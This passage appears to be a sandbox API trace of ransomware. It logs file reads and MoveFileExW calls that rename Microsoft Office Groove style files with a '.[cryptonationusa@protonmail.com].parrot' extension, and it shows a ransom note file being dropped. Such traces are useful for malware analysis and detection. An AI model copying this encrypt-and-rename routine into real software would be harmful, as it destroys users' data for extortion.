nNumberOfBytesToRead=0xff, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xff, lpOverlapped=0x0) returned 1 [0191.990] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.995] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.995] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0191.996] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.996] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0191.996] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.996] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.001] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.001] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.002] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.002] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0192.002] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.003] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.006] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.006] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfe793020, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfe793020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.006] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe746d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BUTTON~1.PAR")) returned 1 [0192.007] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.007] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.008] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.008] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100d, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x100d, lpOverlapped=0x0) returned 1 [0192.008] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.014] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.014] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0192.014] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x519a33f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f690dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.014] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0192.014] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0192.014] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0192.015] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.015] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.016] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.016] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0192.016] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.016] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.022] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.022] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.023] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.023] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0192.023] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.024] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.030] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.030] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x519a33f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfe7b9180, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfe7b9180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.030] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7b9180, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xfe7b9180, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfe7b9180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0192.030] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.030] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.032] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.032] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1103, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x1103, lpOverlapped=0x0) returned 1 [0192.033] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.033] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.037] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.038] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0192.038] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.038] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0192.038] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0192.038] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0192.038] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.038] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.039] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.039] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x143, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x143, lpOverlapped=0x0) returned 1 [0192.039] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.040] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\background.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\background.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.045] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.045] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.046] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.047] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xb9, lpOverlapped=0x0) returned 1 [0192.047] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.047] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\BUTTON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\button.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.052] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.052] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.053] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.053] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0192.053] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.053] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.059] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.059] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.060] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.060] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0192.061] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.061] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.099] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.100] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfe877860, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfe877860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.100] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7df2e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BACKGR~1.PAR")) returned 1 [0192.100] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.100] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.102] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.102] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10f1, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x10f1, lpOverlapped=0x0) returned 1 [0192.103] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.103] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange.css"), lpNewFileName="C:\\Program Files\\Microsoft 